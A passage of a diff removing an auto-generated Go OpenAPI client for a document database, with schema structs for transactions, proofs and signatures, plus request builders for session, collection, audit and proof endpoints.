`path/google.protobuf.Duration`). The name should be in a canonical form - // (e.g., leading "." is not accepted). - // - // In practice, teams usually precompile into the binary all types that they - // expect it to use in the context of Any. However, for URLs which use the - // scheme `http`, `https`, or no scheme, one can optionally set up a type - // server that maps type URLs to message definitions as follows: - // - // * If no scheme is provided, `https` is assumed. - // * An HTTP GET on the URL must yield a [google.protobuf.Type][] - // value in binary format, or produce an error. - // * Applications are allowed to cache lookup results based on the - // URL, or have them precompiled into a binary to avoid any - // lookup. Therefore, binary compatibility needs to be preserved - // on changes to types. (Use versioned type names to manage - // breaking changes.) - // - // Note: this functionality is not currently available in the official - // protobuf release, and it is not used for type URLs beginning with - // type.googleapis.com. - // - // Schemes other than `http`, `https` (or the empty scheme) might be - // used with implementation specific semantics. - TypeUrl *string `json:"type_url,omitempty"` - - // Value Must be a valid serialized protocol buffer of the above specified type. - Value *[]byte `json:"value,omitempty"` -} - -// RuntimeError defines model for runtimeError. -type RuntimeError struct { - Code *int32 `json:"code,omitempty"` - Details *[]ProtobufAny `json:"details,omitempty"` - Error *string `json:"error,omitempty"` - Message *string `json:"message,omitempty"` -} - -// SchemaDualProofV2 defines model for schemaDualProofV2. -type SchemaDualProofV2 struct { - ConsistencyProof *[][]byte `json:"consistencyProof,omitempty"` - InclusionProof *[][]byte `json:"inclusionProof,omitempty"` - SourceTxHeader *SchemaTxHeader `json:"sourceTxHeader,omitempty"` - TargetTxHeader *SchemaTxHeader `json:"targetTxHeader,omitempty"` -} - -// SchemaEntry defines model for schemaEntry. -type SchemaEntry struct { - Expired *bool `json:"expired,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - ReferencedBy *SchemaReference `json:"referencedBy,omitempty"` - Revision *string `json:"revision,omitempty"` - Tx *string `json:"tx,omitempty"` - Value *[]byte `json:"value,omitempty"` -} - -// SchemaExpiration defines model for schemaExpiration. -type SchemaExpiration struct { - ExpiresAt *string `json:"expiresAt,omitempty"` -} - -// SchemaKVMetadata defines model for schemaKVMetadata. -type SchemaKVMetadata struct { - Deleted *bool `json:"deleted,omitempty"` - Expiration *SchemaExpiration `json:"expiration,omitempty"` - NonIndexable *bool `json:"nonIndexable,omitempty"` -} - -// SchemaReference defines model for schemaReference. -type SchemaReference struct { - AtTx *string `json:"atTx,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - Revision *string `json:"revision,omitempty"` - Tx *string `json:"tx,omitempty"` -} - -// SchemaSignature defines model for schemaSignature. -type SchemaSignature struct { - PublicKey *[]byte `json:"publicKey,omitempty"` - Signature *[]byte `json:"signature,omitempty"` -} - -// SchemaTx defines model for schemaTx. -type SchemaTx struct { - Entries *[]SchemaTxEntry `json:"entries,omitempty"` - Header *SchemaTxHeader `json:"header,omitempty"` - KvEntries *[]SchemaEntry `json:"kvEntries,omitempty"` - ZEntries *[]SchemaZEntry `json:"zEntries,omitempty"` -} - -// SchemaTxEntry defines model for schemaTxEntry. -type SchemaTxEntry struct { - HValue *[]byte `json:"hValue,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - VLen *int32 `json:"vLen,omitempty"` - - // Value value, must be ignored when len(value) == 0 and vLen > 0. - // Otherwise sha256(value) must be equal to hValue. - Value *[]byte `json:"value,omitempty"` -} - -// SchemaTxHeader defines model for schemaTxHeader. -type SchemaTxHeader struct { - BlRoot *[]byte `json:"blRoot,omitempty"` - BlTxId *string `json:"blTxId,omitempty"` - EH *[]byte `json:"eH,omitempty"` - Id *string `json:"id,omitempty"` - Metadata *SchemaTxMetadata `json:"metadata,omitempty"` - Nentries *int32 `json:"nentries,omitempty"` - PrevAlh *[]byte `json:"prevAlh,omitempty"` - Ts *string `json:"ts,omitempty"` - Version *int32 `json:"version,omitempty"` -} - -// SchemaTxMetadata defines model for schemaTxMetadata. -type SchemaTxMetadata struct { - TruncatedTxID *string `json:"truncatedTxID,omitempty"` -} - -// SchemaVerifiableTxV2 defines model for schemaVerifiableTxV2. -type SchemaVerifiableTxV2 struct { - DualProof *SchemaDualProofV2 `json:"dualProof,omitempty"` - Signature *SchemaSignature `json:"signature,omitempty"` - Tx *SchemaTx `json:"tx,omitempty"` -} - -// SchemaZEntry defines model for schemaZEntry. -type SchemaZEntry struct { - AtTx *string `json:"atTx,omitempty"` - Entry *SchemaEntry `json:"entry,omitempty"` - Key *[]byte `json:"key,omitempty"` - Score *float64 `json:"score,omitempty"` - Set *[]byte `json:"set,omitempty"` -} - -// DeleteIndexParams defines parameters for DeleteIndex. -type DeleteIndexParams struct { - Fields *[]string `form:"fields,omitempty" json:"fields,omitempty"` -} - -// CloseSessionJSONRequestBody defines body for CloseSession for application/json ContentType. -type CloseSessionJSONRequestBody = ModelCloseSessionRequest - -// KeepAliveJSONRequestBody defines body for KeepAlive for application/json ContentType. -type KeepAliveJSONRequestBody = ModelKeepAliveRequest - -// OpenSessionJSONRequestBody defines body for OpenSession for application/json ContentType. -type OpenSessionJSONRequestBody = ImmudbmodelOpenSessionRequest - -// SearchDocumentsWithJSONRequestBody defines body for SearchDocumentsWith for application/json ContentType. -type SearchDocumentsWithJSONRequestBody = ModelSearchDocumentsRequestWith - -// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. -type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest - -// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. -type ProofDocumentJSONRequestBody = ModelProofDocumentRequest - -// InsertDocumentsJSONRequestBody defines body for InsertDocuments for application/json ContentType. -type InsertDocumentsJSONRequestBody = ModelInsertDocumentsRequest - -// DeleteDocumentsJSONRequestBody defines body for DeleteDocuments for application/json ContentType. -type DeleteDocumentsJSONRequestBody = ModelDeleteDocumentsRequest - -// ReplaceDocumentsJSONRequestBody defines body for ReplaceDocuments for application/json ContentType. -type ReplaceDocumentsJSONRequestBody = ModelReplaceDocumentsRequest - -// SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. -type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest - -// CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. -type CreateIndexJSONRequestBody = ModelCreateIndexRequest - -// CreateCollectionJSONRequestBody defines body for CreateCollection for application/json ContentType. -type CreateCollectionJSONRequestBody = ModelCreateCollectionRequest - -// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. -type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest - -// RequestEditorFn is the function signature for the RequestEditor callback function -type RequestEditorFn func(ctx context.Context, req *http.Request) error - -// Doer performs HTTP requests. -// -// The standard http.Client implements this interface. -type HttpRequestDoer interface { - Do(req *http.Request) (*http.Response, error) -} - -// Client which conforms to the OpenAPI3 specification for this service. -type Client struct { - // The endpoint of the server conforming to this interface, with scheme, - // https://api.deepmap.com for example. This can contain a path relative - // to the server, such as https://api.deepmap.com/dev-test, and all the - // paths in the swagger spec will be appended to the server. - Server string - - // Doer for performing requests, typically a *http.Client with any - // customized settings, such as certificate chains. - Client HttpRequestDoer - - // A list of callbacks for modifying requests which are generated before sending over - // the network. - RequestEditors []RequestEditorFn -} - -// ClientOption allows setting custom parameters during construction -type ClientOption func(*Client) error - -// Creates a new Client, with reasonable defaults -func NewClient(server string, opts ...ClientOption) (*Client, error) { - // create a client with sane default values - client := Client{ - Server: server, - } - // mutate client and add all optional params - for _, o := range opts { - if err := o(&client); err != nil { - return nil, err - } - } - // ensure the server URL always has a trailing slash - if !strings.HasSuffix(client.Server, "/") { - client.Server += "/" - } - // create httpClient, if not already present - if client.Client == nil { - client.Client = &http.Client{} - } - return &client, nil -} - -// WithHTTPClient allows overriding the default Doer, which is -// automatically created using http.Client. This is useful for tests. -func WithHTTPClient(doer HttpRequestDoer) ClientOption { - return func(c *Client) error { - c.Client = doer - return nil - } -} - -// WithRequestEditorFn allows setting up a callback function, which will be -// called right before sending the request. This can be used to mutate the request. -func WithRequestEditorFn(fn RequestEditorFn) ClientOption { - return func(c *Client) error { - c.RequestEditors = append(c.RequestEditors, fn) - return nil - } -} - -// The interface specification for the client above. -type ClientInterface interface { - // CloseSession request with any body - CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - CloseSession(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // KeepAlive request with any body - KeepAliveWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - KeepAlive(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // OpenSession request with any body - OpenSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // SearchDocumentsWith request with any body - SearchDocumentsWithWithBody(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - SearchDocumentsWith(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // AuditDocument request with any body - AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // ProofDocument request with any body - ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // InsertDocuments request with any body - InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DeleteDocuments request with any body - DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // ReplaceDocuments request with any body - ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // SearchDocuments request with any body - SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DeleteIndex request - DeleteIndex(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*http.Response, error) - - // CreateIndex request with any body - CreateIndexWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - CreateIndex(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DeleteCollection request - DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - - // GetCollection request - GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - - // CreateCollection request with any body - CreateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - CreateCollection(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // UpdateCollection request with any body - UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // GetCollections request - GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) -} - -func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCloseSessionRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CloseSession(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCloseSessionRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) KeepAliveWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewKeepAliveRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) KeepAlive(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewKeepAliveRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) OpenSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewOpenSessionRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewOpenSessionRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) SearchDocumentsWithWithBody(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsWithRequestWithBody(c.Server, searchId, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) SearchDocumentsWith(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsWithRequest(c.Server, searchId, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequest(c.Server, collectionName, documentId, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequest(c.Server, collectionName, documentId, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequestWithBody(c.Server, collectionName, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequest(c.Server, collectionName, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequestWithBody(c.Server, collectionName, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequest(c.Server, collectionName, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequestWithBody(c.Server, collectionName, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequest(c.Server, collectionName, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequestWithBody(c.Server, collectionName, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequest(c.Server, collectionName, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DeleteIndex(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteIndexRequest(c.Server, collectionName, params) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CreateIndexWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateIndexRequestWithBody(c.Server, collectionName, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CreateIndex(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateIndexRequest(c.Server, collectionName, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteCollectionRequest(c.Server, name) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionRequest(c.Server, name) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CreateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequestWithBody(c.Server, name, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CreateCollection(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequest(c.Server, name, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequest(c.Server, name, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionsRequest(c.Server) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -// NewCloseSessionRequest calls the generic CloseSession builder with application/json body -func NewCloseSessionRequest(server string, body CloseSessionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewCloseSessionRequestWithBody(server, "application/json", bodyReader) -} - -// NewCloseSessionRequestWithBody generates requests for CloseSession with any type of body -func NewCloseSessionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/authorization/session/close") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewKeepAliveRequest calls the generic KeepAlive builder with application/json body -func NewKeepAliveRequest(server string, body KeepAliveJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewKeepAliveRequestWithBody(server, "application/json", bodyReader) -} - -// NewKeepAliveRequestWithBody generates requests for KeepAlive with any type of body -func NewKeepAliveRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/authorization/session/keepalive") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewOpenSessionRequest calls the generic OpenSession builder with application/json body -func NewOpenSessionRequest(server string, body OpenSessionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewOpenSessionRequestWithBody(server, "application/json", bodyReader) -} - -// NewOpenSessionRequestWithBody generates requests for OpenSession with any type of body -func NewOpenSessionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/authorization/session/open") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewSearchDocumentsWithRequest calls the generic SearchDocumentsWith builder with application/json body -func NewSearchDocumentsWithRequest(server string, searchId string, body SearchDocumentsWithJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewSearchDocumentsWithRequestWithBody(server, searchId, "application/json", bodyReader) -} - -// NewSearchDocumentsWithRequestWithBody generates requests for SearchDocumentsWith with any type of body -func NewSearchDocumentsWithRequestWithBody(server string, searchId string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "searchId", runtime.ParamLocationPath, searchId) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/documents/search/%s", pathParam0) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body -func NewAuditDocumentRequest(server string, collectionName string, documentId string, body AuditDocumentJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewAuditDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) -} - -// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body -func NewAuditDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - var pathParam1 string - - pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/document/%s/audit", pathParam0, pathParam1) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body -func NewProofDocumentRequest(server string, collectionName string, documentId string, body ProofDocumentJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewProofDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) -} - -// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body -func NewProofDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - var pathParam0 string - - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) - if err != nil { - return nil, err - } - - var pathParam1 string - - pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) - if err != nil { - return nil, err - } - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collection/%s/document/%s/proof", pathParam0, pathParam1) - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body -func NewInsertDocumentsRequest(server string, collectionName string, body 